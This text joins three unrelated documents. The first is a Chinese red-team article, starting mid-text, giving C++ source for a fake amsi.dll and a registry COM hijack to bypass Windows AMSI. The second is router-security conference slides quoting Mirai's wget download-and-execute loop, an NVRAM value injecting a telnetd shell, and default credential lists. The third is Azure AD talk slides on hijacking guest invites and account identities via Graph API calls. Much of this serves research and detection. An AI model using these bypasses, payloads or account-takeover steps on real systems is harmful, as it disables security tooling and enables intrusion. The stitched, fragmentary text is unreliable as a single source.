powerShell.exe同目录下放一个amsi.dll做劫持。但是win7以上也可以修改注册表,强制加载system32
下的dll。具体的详情,可以阅读官方文档:https://docs.microsoft.com/en-us/windows/win32/dlls/d
ynamic-link-library-search-order
劫持amsi.dll有2个问题:
怎么放置傀儡amsi.dll,也就是放置在哪个目录
amsi.dll要导出哪些函数,不导出amsi.dll本身的函数,会导致和unload一样的问题,使得
powershell不能工作了
解决第一个问题
我们通过process Monitor来观察下powershell.exe对amsi.dll的加载顺序。我们过滤powershell.exe进
程名来观察下:
我们来看看powershell先在如下目录去寻找amsi.dll,没有找到,然后再去system32目录下。
位置是找到了,我们来解决第二个问题。
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0
.0.0__31bf3856ad364e35\
C:\Windows\System32\WindowsPowerShell\v1.0\
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 2 / 7 - Welcome to www.red-team.cn
解决第二个问题
第二个问题也是很好解决的,官方给了api文档,我们抄一抄就好了,但是呢,第一篇我们说过了,官方
文档也是不全的,文档比较老了,目前新的amsi增加了其他几个导出函数,抄起ida,按上F5,补一
下。我使用的是vs2019,创建一个动态链接库项目,然后创建下面2个文件:
// amsi.h
#pragma once
#include "pch.h"
LPCWSTR appName = NULL;
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0x00,
AMSI_RESULT_NOT_DETECTED = 0x01,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
AMSI_RESULT_DETECTED = 0x8000,
} AMSI_RESULT;
typedef struct HAMSISESSION {
DWORD amsiSession;
} HAMSISESSION;
extern "C" __declspec(dllexport) void AmsiInitialize(LPCWSTR appName,
HAMSICONTEXT* amsiContext);
extern "C" __declspec(dllexport) void AmsiOpenSession(HAMSICONTEXT amsiContext,
HAMSISESSION* amsiSession);
extern "C" __declspec(dllexport) void AmsiCloseSession(HAMSICONTEXT amsiContext,
HAMSISESSION amsiSession);
extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
AMSI_RESULT* result);
extern "C" __declspec(dllexport) void AmsiScanString(HAMSICONTEXT amsiContext,
LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT*
result);
extern "C" __declspec(dllexport) void AmsiUninitialize(HAMSICONTEXT
amsiContext);
extern "C" __declspec(dllexport) int AmsiUacInitialize(DWORD* a1);
extern "C" __declspec(dllexport) int AmsiUacScan(int a1, int a2, AMSI_RESULT*
result, DWORD* a4);
extern "C" __declspec(dllexport) void** AmsiUacUninitialize(LPVOID pv);
//amsi.cpp
#include "pch.h"
#include "amsi.h"
#include "combaseapi.h"
/*
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 3 / 7 - Welcome to www.red-team.cn
编译好后,我们放入上面的目录试试:
起作用了,我们再测试另外一个目录,也是可以的。
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
*/
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {
}
void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION * amsiSession) {
}
void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {
}
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result) {
}
void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR
contentName, HAMSISESSION amsiSession, AMSI_RESULT * result) {
}
void AmsiUninitialize(HAMSICONTEXT amsiContext) {
}
int AmsiUacInitialize(DWORD* a1) {
return 0;
}
int AmsiUacScan(int a1, int a2, AMSI_RESULT* result, DWORD* a4) {
return 0;
}
void** AmsiUacUninitialize(LPVOID pv) {
return NULL;
}
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 4 / 7 - Welcome to www.red-team.cn
劫持方法,是可行,但是缺陷也很明显:
这2个目录都需要管理员权限,普通用户不行
当然你也可以把powershell.exe 和 amsi.dll(劫持)复制到一个普通权限用户使用
有一个落地DLL文件,这个dll文件需要考虑免杀问题
这种dll劫持技术,defender杀应该只是时间问题(表示我测试的时候似乎全程defender无感)
0x03 Null字符绕过
这个问题已经被微软修复了https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledg
ments,这个问题的作者也写了详细文章http://standa-note.blogspot.com/2018/02/amsi-bypass-wit
h-null-character.html。我这儿就不班门弄斧了。只大致说下原理:
通过前面学习,我们知道扫描使用的是如下函数
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 5 / 7 - Welcome to www.red-team.cn
其中string传入的就是我们的脚本,这个地方可以空字符截断(ps:空字符截断真是随处可见),然后我
们只需在我们恶意脚本开头加入空字符,就可以bypass了。
修复方法很有意思,就是用了另外一个函数:
前面我说过win10中途换了扫描函数,原来是这个原因。
0x04 COM Server劫持
这个也是被微软修复了的问题,具体文章可以阅读https://enigma0x3.net/2017/07/19/bypassing-amsi
-via-com-server-hijacking/,我这儿也简单描述的原理。
amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先
从注册表HKCU中找对应的DLL,也就是当前用户,因此我们创建相应的注册表,让它调用失败就行了
微软修复了这个问题,通过直接调用 amsi.dll 的 DllGetClassObject() 函数替换 CoCreateInstance(),
可以避免注册表解析。
上面原作者文章中,作者提出dll劫持bypass这个修复,原理就是0x02中介绍的,只是把我们自己编译的
amsi.dll换成微软的老amsi.dll这个dll可是微软自己签名的dll,不会被杀,然后再劫持注册表,就又可以
愉快玩耍了,但是这种方法也很容易被杀软检测,直接监控这个注册表的创建就行了。因此这个方法也
不是很常用。
但是说句题外话,COM相关的技术应用,在对抗杀软上有很大的空间。
HRESULT WINAPI AmsiScanString(
_In_ HAMSICONTEXT amsiContext,
_In_ LPCWSTR string, // Will be terminated at the first null
character
_In_ LPCWSTR contentName,
_In_opt_ HAMSISESSION session,
_Out_ AMSI_RESULT *result
);
HRESULT WINAPI AmsiScanBuffer(
_In_ HAMSICONTEXT amsiContext,
_In_ PVOID buffer, // Not terminated at the null character
_In_ ULONG length,
_In_ LPCWSTR contentName,
_In_opt_ HAMSISESSION session,
_Out_ AMSI_RESULT *result
);
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-
4357bb0072ec}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-
4357bb0072ec}\InProcServer32]
@="C:\\goawayamsi.dll"
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 6 / 7 - Welcome to www.red-team.cn
0x05 总结
本文中这些非主流bypass,第一个不能用,第三、第四个已经被修复。只有第二个目前依旧还能工作。
之所以记录下这些已经不能利用的方法,主要是学习思路,0x03中的空字符、0x04中的注册表优先级,
都是可以记录的技巧。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 7 / 7 - Welcome to www.red-team.cn | pdf |
cp / zet / f9a
L A S T E X P L O I T A T I O N
About Us
●
Researchers from TeamT5
●
Core Developer of ThreatSonar for Linux, macOS, Windows
●
We mainly focus on state of the art techniques of threat actors and
how to effectively identify them
3
Outline
4
Attack
Defense
Tool
●
LEAYA: an Embedded System Detection and Response
●
APT and Botnet Case Studies
●
Post-Exploitation Techniques
●
Identifying Threats
●
SOHO Router Vendors Security Solution
APT and Botnet Case Studies
5
BlackTech
●
Use VPN & DDNS & Virutal Host as C2 server
●
Use man-in-the-middle attack subnetwork endpoint
6
APT
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
Router Compromise
Attater
Router
Tartget PC
7
APT
Compromise
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
Update Interception
Update Server
Malicious File
Malicious
Update
8
APT
Update request
Interception
User
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
Payload Delivery
Malicious
Update File
Compromise
9
APT
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
Malicious
Update
Router
Slingshot
●
Compromised Mikrotik router
●
Downloads and loads malicious DLLs when use Winbox connect to router
10
Winbox
User
Winbox
Mikrotik
Router
Slingshot
11
APT
https://www.kaspersky.com/about/press-releases/2018_slingshot
User
Winbox
Mikrotik
Router
Slingshot
12
APT
https://www.kaspersky.com/about/press-releases/2018_slingshot
User
Winbox
Mikrotik
Router
Slingshot
13
APT
https://www.kaspersky.com/about/press-releases/2018_slingshot
User
Winbox
Mikrotik
Router
Slingshot
14
APT
https://www.kaspersky.com/about/press-releases/2018_slingshot
Fancy Bear & VPNFilter (APT28)
●
VPNFilter use default Cert or 1day to exploit device
●
Infecting 500k devices.
●
Modules
○
htpx: Http Sniffer
○
ndbr: SSH utility
○
nm: arp/wireless scan
○
netfilter: DoS utility
○
portforwarding
○
socks5proxy
○
tcpvpn: reverse-tcp vpn
15
APT
https://blog.talosintelligence.com/2018/05/VPNFilter.html
16
https://blog.talosintelligence.com/2018/05/VPNFilter.html
17
https://blog.talosintelligence.com/2018/05/VPNFilter.html
VPNFilter Stage 1
●
After exploited router
○
Comproising NVRAM to add itself to crontab in NVRAM
○
Stage 1 will autorun after router reboot
18
APT
Stage 1
crontab
NVRAM
VPNFilter Stage 1
●
After exploited router
○
Comproising NVRAM to add itself to crontab in NVRAM
○
Stage 1 will autorun after router reboot
19
APT
Stage 1
crontab
NVRAM
Stage 2
C2
20
Mirai
●
Worm Propagation
●
Target: IoT Devices
●
Use default username and password
●
DDoS
●
Open Source
○
Easy to create variants of Miria
■
miori
■
Omni
■
Satori
■
TheMoon
21
Botnet
22
https://github.com/jgamblin/Mirai-Source-Code
BOOL attack_init(void)
{
int i;
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
return TRUE;
}
23
binarys = "mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip = "$SERVER_IP"
binname = "miori"
execname = "$EXECNAME"
for arch in $binarys
do
cd /tmp
wget http://$server_ip/$binname.$arch - O $execname
chmod 777 $execname
./$execname Think.PHP
rm -rf $execname
done
Default
Username / Password
24
Default
Username / Password
CVE-2018-20062
Default
Username / Password
CVE-2018-20062
CVE-2018-20062
LiquorBot
●
Base on Mirai
●
Worm Propagation
●
82 Default username / password
●
Use 12 router exploits
○
Weblogic, WordPress, Drupal
●
XMR Miner
25
Botnet
https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/
Cereals
●
Worm Propagation
●
D-Link NVRs and NAS
●
1 Exploit: CVE-2014-2691
●
Install Services
○
VPN (Tinc)
○
HTTP proxy (Polipo)
○
Socks proxy (Nylon)
○
SSH daemon (Dropbear)
○
new root / remote user
●
Goal: Download Anime
26
Botnet
https://www.forcepoint.com/blog/x-labs/botnets-nas-nvr-devices
Post-Exploitation Techniques
Understanding Threats
APT
●
Persistence
●
Weak password
●
Hardcoded SSH
●
Service(ssh, telnet,
ddns, vpn client,
ddns , proxy)
●
C&C
Common
●
DNS Hijacking
●
Reverse Shell
●
Reverse-TCP VPN
●
Port Forwarding
●
Sniffer
●
DoS
●
Compromised
DLL
Botnet
●
Worm
●
DDoS
●
Coin Miner
28
Network
●
HTTP Proxy
●
SOCKS
●
Port Forwarding
●
Reverse Shell
●
Reverse-TCP VPN
Control
●
Weak password
●
Hardcoded SSH
●
SSH
●
TELNET
●
DDNS
●
VPN
●
Sniffer
Intention
●
C&C
●
Worm
●
DDoS
●
Coin Miner
●
DNS Hijacking
●
Fake Binary
29
30
Conclusion of Attack
Router Interface
Web
UPNP
Telnet
Manage
service
XSS
CMD
injection
Buffer
Overflow
Weak
password
NVRAM
cgi binary (root privileges)
31
Identify Threats
Forensic Evidences
●
Process
○
Memory
○
Environment
●
File
○
/etc/shadow
○
Hardcoded password
○
Autoruns (crontab)
○
NVRAM
○
logs
●
Network
32
●
TMOUT=0
●
ENV=/etc/profile
●
TZ=GMT-8
●
OLDPWD=/home
Artificial Operator (ENV)
33
Process Detection
SSH_CLIENT=192.168.7.199 50589 22
USER=admin
OLDPWD=/tmp/home/root
HOME=/root
SSH_TTY=/dev/pts/0
PS1=\u@\h:\w\$
LOGNAME=admin
TERM=xterm-256color
PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/adm
in:/mmc/sbin:/mmc/bin:/mmc/usr/sbin:/mmc/usr
/bin:/opt/sbin:/opt/bin:/opt/usr/sbin:/opt/u
sr/bin
SHELL=/bin/sh
PWD=/tmp
SSH_CONNECTION=192.168.7.199 50589
192.168.7.253
Suspicious Process
34
parent process ?
●
sshd
○
dropbear (ssh)
●
web serverice
○
httpd
○
lighttpd
Process Detection
Unexpected Process ?
●
SSH
●
TELNET
●
DDNS
●
VPN
Hardcoded key
●
Telnet password
●
Certifcate
●
AES Key
35
File Detection
openssl zlib -e %s | openssl
-e %s
openssl
-d %s %s | openssl zlib -d
-e %s %s
-d %s %s
-in %q
-k %q
-kfile /etc/secretkey
2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163
E39D67579EB344427F7836
360028C9064242F81074F4C127D299F6
-iv
crypt_used_openssl
enc_file
Weak Password
check your self by dictionary attack
●
/usr/share/wordlist
●
/usr/share/wfuzz/wordlist
●
/usr/share/golismero/wordlist
●
/usr/share/dirb/wordlist
root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
36
File Detection
Persistence
Attacker can re-package the firmware with several malware
●
/etc/rc.d/
●
/etc/init.d/malware
●
crontab
●
nvram
37
File Detection
●
NVRAM / Flash
○
/dev/nvram
○
/proc/mtd
○
/dev/mtd*
NVRAM
38
NVRAM
Boot Loader
kernel
File System
MTD Partition
Firmware
mtd0: 0x00000000-0x00400000 : "ALL"
mtd1: 0x00000000-0x00030000 : "Bootloader"
mtd2: 0x00030000-0x00040000 : "Config"
mtd3: 0x00040000-0x00050000 : "Factory"
mtd4: 0x00050000-0x00360000 : "Kernel"
mtd5: 0x00360000-0x003b0000 : "DATA"
/proc/mtd
File Detection
Read NVRAM
url_filter_rule=rule_1,www.google.com
mac_filter_enable=1
mac_filter_max_num=24
mac_filter_mode=deny
mac_filter_rule=
mac_ipv6_filter_enable=1
telnetEnabled=0
WscCusPBCEnable=1
WscCusPINEnable=0
CusChannel=0
factory_mode=2
/dev/mtd2
39
NVRAM
Boot Loader
kernel
File System
MTD Partition
Firmware
File Detection
Payload in NVRAM
40
NVRAM
Boot Loader
kernel
File System
MTD Partition
Firmware
File Detection
url_filter_rule=rule_1,www.google.com$(telnet
d -l sh -p 1337 -b 0.0.0.0),
mac_filter_enable=1
mac_filter_max_num=24
mac_filter_mode=deny
mac_filter_rule=
mac_ipv6_filter_enable=1
telnetEnabled=0
WscCusPBCEnable=1
WscCusPINEnable=0
CusChannel=0
factory_mode=2
/dev/mtd2
Othres
●
Fake Binary
○
Diff with firmware
○
File Modification Date
●
logs
○
system logs - /jffs/syslog.log
41
File Detection
DNS Hijacking
42
Network Detection
resolve.conf
DHCP option
dnsmasq
/etc/resolv.conf
nameserver 192.168.7.1
nameserver 192.168.7.254
Sniffer
●
One of inode exist /proc/net/packet probably is Sniffer (SOCKS_RAW)
43
Network Detection
Suspicious Network
●
Iptables
●
HTTP Proxy
●
Port Forwarding
●
Reverse shell
●
Reverse VPN client
44
Network Detection
SOHO Router Security Solution
45
SOHO Router Security Solution
●
ASUS: AiProtection Classic (PRO) By Trend Micro
●
D-Link: D-Fend By McAfee
●
TP-Link: HomeCare By Trend Micro
●
NETGEAR: Armor By Bitdefender
46
Check
Security Configartion
47
48
ASUS: AiProtection Classic (PRO) By Trend Micro
/* PROTECTION EVENT */
{PROTECTION_INTO_MONITORMODE_EVENT ,0
,"Intrusion Alert"
,"" },
{PROTECTION_VULNERABILITY_EVENT ,0
,"Intrusion Prevention System Alert"
,"" },
{PROTECTION_CC_EVENT ,0
,"Infected Device Detected and Blocked"
,"" },
{PROTECTION_DOS_EVENT ,0
,"DoS Protection Alert"
,"" },
{PROTECTION_SAMBA_GUEST_ENABLE_EVENT ,0
,"Securtiy Risk - Samba"
,"" },
{PROTECTION_FTP_GUEST_ENABLE_EVENT ,0
,"Securtiy Risk - FTP "
,"" },
{PROTECTION_FIREWALL_DISABLE_EVENT ,0
,"Securtiy Risk - Firewall Disable"
,"" },
{PROTECTION_MALICIOUS_SITE_EVENT ,0
,"Malicious Site Access Blocked"
,"" },
{PROTECTION_WEB_CROSS_SITE_EVENT ,0
,"Security Event Notice - Web Cross-site Scripting!"
,"" },
{PROTECTION_IIS_VULNERABILITY_EVENT ,0
,"Security Event Notice - Microsoft IIS Vulnerability!"
,"" },
{PROTECTION_DNS_AMPLIFICATION_ATTACK_EVENT ,0
,"Security Event Notice - DNS Amplification Attack!"
,"" },
{PROTECTION_SUSPICIOUS_HTML_TAG_EVNET ,0
,"Security Event Notice - Suspicious HTML Iframe tag!"
,"" },
{PROTECTION_BITCOIN_MINING_ACTIVITY_EVENT ,0
,"Security Event Notice - Bitcoin Mining Activity!"
,"" },
{PROTECTION_MALWARE_RANSOM_THREAT_EVENT ,0
,"Security Event Notice - Malware Ransomware Threat!"
,"" },
{PROTECTION_MALWARE_MIRAI_THREAT_EVENT ,0
,"Security Event Notice - Malware Mirai Threat!"
,"" },
49
ASUS: AiProtection Classic (PRO) By Trend Micro
if ( v43 & 2 ) {
v6 = (int)&v91;
snprintf(
(char *)&v91,
0x3BFu,
"SELECT timestamp, type, src, dst FROM monitor WHERE type=3 AND (timestamp >
%ld AND timestamp < %ld) ORDER"
" BY timestamp DESC",
(char *)v12 - 130,
v12);
printf("sql = \"%s\"\n", &v91);
sub_1750C(v71, &v91, "/jffs/.sys/AiProtectionMonitor/AiProtectionMonitorVPevent.txt");
}
After pentest
nothing alert ?
50
SOHO Router Security Solution
●
Limited vender, limited model
●
Protect client device rather than router devices
●
Network-based Detection, does not provide protection against …
○
pentesting
○
evil payload
○
disable protection
51
Improvement Router Security Mechanism
●
Package signing
●
Package encrypted
●
GCC Protection (SSP)
●
Separate users for processes
●
Procd jail
52
An Embedded System Detection and Response
53
SOHO Router Security Solution
●
Limited vender, limited model
●
Protect client device
●
Network-based Detection
54
SOHO Router Security Solution
●
Limited vender, limited model → Cross-Branding & Cross-Platform
●
Protect client device → Protect router itself
●
Network-based Detection → Behavior-based Detection
55
An Embedded System Detection and Response
56
●
Cross-Branding
○
ASUS / ROG / Synology / D-Link / TP-Link / TOTOLINK / ...
●
Cross-Platform
○
i386 / amd64 / arm / arm64 / mips32 / mips64
●
Support Open Source IoC
●
Support MITRE ATT&CK
57
An Embedded System Detection and Response
An Embedded System Detection and Response
●
Focus on the Embedded System itself
○
Router, NAS, IPCam, RPi
●
Behavior-based Detection: Scans Process / File / Network / NVRAM
●
Automaticity identifying the APT & Botnet Threats
58
LEAYA Architecture
Web
Server
Client
Agents
59
LEAYA Features
●
IoC auto-update
●
Easy Setup & Update Agent
●
LEAYA + Raspberry pi
60
LEAYA Detections
●
Process
●
File
●
Network
●
NVRAM
62
63
64
CHECK PROCESS
65
66
67
68
69
70
CHECK FILE
71
72
73
CHECK NETWORK
74
75
76
CHECK NVRAM
77
78
79
●
APT uses various 1-day router exploits to compromise routers, the
advances to attack endpoints of subnetwork
●
We research attack techniques and how to identify them
●
According to our researched, current security solution of routers on the
market exist High Risk because the router didn’t protect itself
●
Discuss how to secure routers
●
We implemented a cross-platform EDR for Embedded Systems
Conclusion
80
Q&A
? ? ?
81 | pdf |
#BHUSA @BlackHatEvents
Backdooring and hijacking Azure AD accounts by abusing
external identities
Dirk-jan Mollema / @_dirkjan
#BHUSA @BlackHatEvents
Information Classification: General
whoami
-
Dirk-jan Mollema
-
Lives in The Netherlands
-
Hacker / Researcher / Founder @ Outsider Security
-
Author of several (Azure) Active Directory tools
-
mitm6
-
ldapdomaindump
-
BloodHound.py
-
aclpwn.py
-
Co-author of ntlmrelayx
-
ROADtools
-
Blogs on dirkjanm.io
-
Tweets stuff on @_dirkjan
#BHUSA @BlackHatEvents
Information Classification: General
• Azure AD
• Identity platform for Office 365, Azure Resource Manager, and other
Azure things
• Also identity platform for any first/third party app you want to integrate
with it
• This is not about Azure infrastructure/VMs/etc
Terminology
#BHUSA @BlackHatEvents
Information Classification: General
• Tenant
• A separate instance of Azure AD for an organization.
• Most organizations have one primary tenant.
• Important security boundary in Azure AD.
• Identified by a GUID
• Identified by at least a tenantname.onmicrosoft.com domain
• Usually also identified by custom domains
Terminology
#BHUSA @BlackHatEvents
Information Classification: General
• External identity
• Any identity that is not managed by your tenant
• Can be another Azure AD tenant, Microsoft account, Google account or
even just an email address.
Terminology
#BHUSA @BlackHatEvents
Information Classification: General
External collaboration
Tenant A
Tenant B
#BHUSA @BlackHatEvents
Information Classification: General
External collaboration
Tenant A
Resource tenant
Tenant B
Home tenant
Guest account
Home tenant account
Linked
#BHUSA @BlackHatEvents
Information Classification: General
• How does the invite flow work?
• How are accounts linked to a different tenant?
• What possibilities are there to abuse this?
Research questions
#BHUSA @BlackHatEvents
Information Classification: General
• 2 tenants:
• Primary: Iminyour.cloud (iminyourcloud.onmicrosoft.com)
• External: Crosstenantdev (crosstenantdev.onmicrosoft.com)
• No specific B2B trust configured
• All Azure AD defaults
Test setup
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
• Microsoft Graph
• Official API for everything Microsoft 365 (including Azure AD)
• Not always all information
• Azure AD graph
• Azure AD only
• Lower-level API than MS Graph
• Possibility to use internal versions to gather more information
• Azure AD portal
• May use MS Graph or AAD Graph, including internal versions
Azure AD information resources
#BHUSA @BlackHatEvents
Information Classification: General
• Mix of AAD Graph and MS Graph
• Use of ROADrecon (part of ROADtools) as front-end for AAD
Graph
In this talk
#BHUSA @BlackHatEvents
Information Classification: General
Invite acceptance, audit log
#BHUSA @BlackHatEvents
Information Classification: General
Guest account – after acceptance
#BHUSA @BlackHatEvents
Information Classification: General
Link is based on “netid” property in home tenant
#BHUSA @BlackHatEvents
Information Classification: General
Linking guest accounts between tenants
Tenant A
Resource tenant
Tenant B
Home tenant
Guest account
alternativeSecurityIds
Home tenant account
netid
#BHUSA @BlackHatEvents
Information Classification: General
Inviting users using the AAD Graph
https://github.com/projectKudu/ARMClient/wiki/AAD-Invite-User-Apis
#BHUSA @BlackHatEvents
Information Classification: General
• Needs external users netid
• Can be queried using AAD Graph
• Can be extracted from access token (puid claim)
• Need invite ticket
• Can be queried using AAD Graph / ROADrecon ☺
Redeem invite via AAD Graph
#BHUSA @BlackHatEvents
Information Classification: General
Redeem invite via API
#BHUSA @BlackHatEvents
Information Classification: General
• You would think some privileged role is needed to redeem
invites, this is not true, any user in the tenant can do it.
• None of the information is verified:
• Could use any “accepted as” email
• Could link it to any external account in any directory
• Invite tickets can be queried by any user in the tenant
Redeeming invites: some issues
#BHUSA @BlackHatEvents
Information Classification: General
• Query using AAD Graph:
Hijacking invites
https://graph.windows.net/myorganization/users?api-version=1.61-internal&$filter=userState eq
'PendingAcceptance'&$select=userPrincipalName,inviteTicket,userType,invitedAsMail
#BHUSA @BlackHatEvents
Information Classification: General
Query netid from rogue account
https://graph.windows.net/myorganization/users/[email protected]/?api-version=1.61-
internal&$select=userPrincipalName,netId
#BHUSA @BlackHatEvents
Information Classification: General
Redeem invite POST response
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
No way to determine actual account link
#BHUSA @BlackHatEvents
Information Classification: General
• Every user could query for non-redeemed invites.
• Could redeem invite without any validation, link to arbitrary
external account.
• No way for admins to find out which account it was actually
linked to.
TL;DR
#BHUSA @BlackHatEvents
Information Classification: General
• External identities often used for managing Azure subscriptions
in other tenants.
• Used for external suppliers/MSP accounts.
• Leaving employee could add guest account to retain access.
• UI flow exists to directly assign role to invited account, could be
a privilege escalation.
• Bypasses allowlist of external collaboration domains.
Impact scenarios
#BHUSA @BlackHatEvents
Information Classification: General
Hunting for abuse
#BHUSA @BlackHatEvents
Information Classification: General
Hunting query
AuditLogs
| where OperationName =~ "Update user"
| where Result =~ "success"
| mv-expand target = TargetResources
| where tostring(InitiatedBy.user.userPrincipalName) has "@" or
tostring(InitiatedBy.app.displayName) has "@"
| extend targetUPN = tostring(TargetResources[0].userPrincipalName)
| extend targetId = tostring(TargetResources[0].id)
| extend targetType = tostring(TargetResources[0].type)
| extend modifiedProps = TargetResources[0].modifiedProperties
| extend initiatedUser = tostring(InitiatedBy.user.userPrincipalName)
| mv-expand modifiedProps
| where modifiedProps.displayName =~ "UserState"
| mv-expand AdditionalDetails
| where AdditionalDetails.key =~ "UserType" and AdditionalDetails.value =~ "Guest"
| extend new_value_set = parse_json(tostring(modifiedProps.newValue))
| extend old_value_set = parse_json(tostring(modifiedProps.oldValue))
| where new_value_set[0] =~ "Accepted" and old_value_set[0] =~ "PendingAcceptance"
| project-away old_value_set, new_value_set, modifiedProps
Copy/paste version: https://gist.github.com/dirkjanm/
#BHUSA @BlackHatEvents
Information Classification: General
• MS Graph shows less information than AAD Graph
• “identities” property can actually be modified with correct privs
External identities in MS Graph
https://graph.microsoft.com/beta/users/cd3a4c74-64ca-42b4-9448-601cabad969a/identities
#BHUSA @BlackHatEvents
Information Classification: General
Other identity providers
#BHUSA @BlackHatEvents
Information Classification: General
Email OTP in MS Graph and AAD Graph
MS Graph
AAD Graph
#BHUSA @BlackHatEvents
Information Classification: General
• Global Admins
• User Administrators
• Apps with User.ManageIdentities.All privileges
• Users can modify their own identities
Who can modify the identities attribute?
#BHUSA @BlackHatEvents
Information Classification: General
Azure AD “Users” Role Definition
#BHUSA @BlackHatEvents
Information Classification: General
Given a time-limited or scope-limited access token with the
correct MS Graph permissions, attackers can backdoor an
account and link it to an external account.
Users modify their own identities
#BHUSA @BlackHatEvents
Information Classification: General
• Temporary account access
• Limited scope access, for example through device code
phishing
• Application takeover or URL hijack with the appropriate scope
Attack scenario’s
#BHUSA @BlackHatEvents
Information Classification: General
Account identities: original
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
Add new identity (backdoor)
#BHUSA @BlackHatEvents
Information Classification: General
Account identities after change
#BHUSA @BlackHatEvents
Information Classification: General
Switching tenants
#BHUSA @BlackHatEvents
Information Classification: General
Signed in as victim user
#BHUSA @BlackHatEvents
Information Classification: General
Returning the account to the original state
#BHUSA @BlackHatEvents
Information Classification: General
• User Administrators cannot reset passwords of Global
Administrators
• They can however modify the identity of a Global Admin (or any
other user)
• This way they can take over the account of a higher privileged
user.
Extra technique: elevation of privilege
#BHUSA @BlackHatEvents
Information Classification: General
• Convert existing user to B2B account (Guest)
User Admin to Global Admin with a few clicks
#BHUSA @BlackHatEvents
Information Classification: General
Victim user
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
#BHUSA @BlackHatEvents
Information Classification: General
• A User Administrator can convert any account to B2B, including
higher privileged accounts.
• Can be done in GUI or with 2 simple POST requests to MS
Graph.
• No need to redeem the invite with a real account if we combine
this with the guest account hijack technique, making it fully
invisible which account it was linked to.
• For some reason does not work for accounts with a mailbox, in
which case changing the “identities” property works.
User Administrator privesc TL;DR
#BHUSA @BlackHatEvents
Information Classification: General
• Converting a user to B2B or changing their identities will
compromise their primary authentication method only.
• MFA will still kick in for the original account.
The caveat: MFA
#BHUSA @BlackHatEvents
Information Classification: General
Guest tenants and MFA
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Victim account
MFA methods
Attacker account
MFA methods
#BHUSA @BlackHatEvents
Information Classification: General
MFA methods remain those of victim account
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Guest account
Victim MFA methods
Attacker account
MFA methods
Linked
#BHUSA @BlackHatEvents
Information Classification: General
• In a fresh sign-in session where MFA was performed, we are not
prompted for MFA every time we switch apps. Suggests caching
in login session.
• This holds for activity in tenants where we are a guest too.
